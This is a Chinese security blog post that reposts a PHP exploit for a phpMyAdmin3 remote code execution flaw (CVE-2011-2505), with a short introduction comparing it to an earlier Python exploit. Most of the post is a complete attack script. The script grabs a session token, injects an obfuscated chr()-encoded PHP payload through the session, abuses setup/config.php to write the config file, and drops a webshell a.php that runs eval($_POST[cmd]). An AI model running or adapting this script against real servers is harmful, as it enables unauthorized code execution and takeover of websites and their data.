phpMyAdmin3 remote code execute php版本 exploit

  • A+
所属分类:lcx

    By:oldjun

    From:http://www.oldjun.com/blog/index.php/archives/81/

    最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。

    昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwoexp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。

    首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:

    一是session.auto_start = 1;
    二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。

    当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。

    在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

    注意区别之前的python版本。虽然还是很鸡肋(要求根目录下存在config文件夹且可写),不过好很多了。可以无视session.auto_start配置了。

    于是写了这个php版本的exp,代码如下:

以下是引用片段:

#!/usr/bin/php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken's ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: [email protected]
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
'
);

/**
 * working when the directory:"config" exists and is writeable.
**/
 
if ($argc 3) {
    
print_r('
+---------------------------------------------------------------------------+
Usage: php '
.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '
.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
'
);
    exit;
}

$host $argv[1];
$path $argv[2];

/**
 * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....n";
$returnstr=php_request('config/');
if(
strpos($returnstr,'404')){
    exit(
"[-] Exploit Failed! The directory:config do not exists!n");
}

/**
 * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(w{32,40});(.*?)token=(w{32})&/s'$result$resp);
$token=$resp[3];
$sessionid=$resp[1];
if(
$token && $sessionid){
    echo 
"[+] token:$tokenn";
    echo 
"[+] Session ID:$sessionidn";
}else{
    exit(
"[-] Can't get token and Session ID,Exploit Failed!n");
}

/**
 * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
 * Try to create webshell
**/
echo "[+] Try to create webshell....n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
 * Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....n";
$content=php_request('config/config.inc.php');
if(
strpos($content,'t00ls')){
    echo 
"[+] Congratulations! Expoilt successfully....n";
    echo 
"[+] Webshell:http://$host{$path}config/a.php eval($_POST[cmd])n";
}else{
    exit(
"[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!n");
}

function php_request($url,$data='',$cookie=''){
    global  
$host$path;
    
    
$method=$data?'POST':'GET';
    
    
$packet $method." ".$path.$url." HTTP/1.1rn";
    
$packet .= "Accept: */*rn";
    
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
    
$packet .= "Host: $hostrn";
    
$packet .= $data?"Content-Type: application/x-www-form-urlencodedrn":"";
    
$packet .= $data?"Content-Length: ".strlen($data)."rn":"";
    
$packet .= $cookie?"Cookie: $cookiern":"";
    
$packet .= "Connection: Closernrn";
    
$packet .= $data?$data:"";

    $fp fsockopen(gethostbyname($host), 80);
    if (!
$fp) {
    echo 
'No response from '.$host; die;
    }
    
fputs($fp$packet);

    $resp '';

    while ($fp && !feof($fp))
        
$resp .= fread($fp1024);

    return $resp;
}
    
?>

文章来源于lcx.cc:phpMyAdmin3 remote code execute php版本 exploit

相关推荐: 【Html】Html 网页、页面播放 flv 视频的代码

Html 网页、页面播放 flv 视频的代码:   '播放器地址 '视频地址     这个是需要专门的flv播放器的,是个swf播放器的专用代码。名字叫“Vcastr 2.2 Flv 网络播放器”,属于在线视频播放器,谷歌自己搜去。     Html 网页、页…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: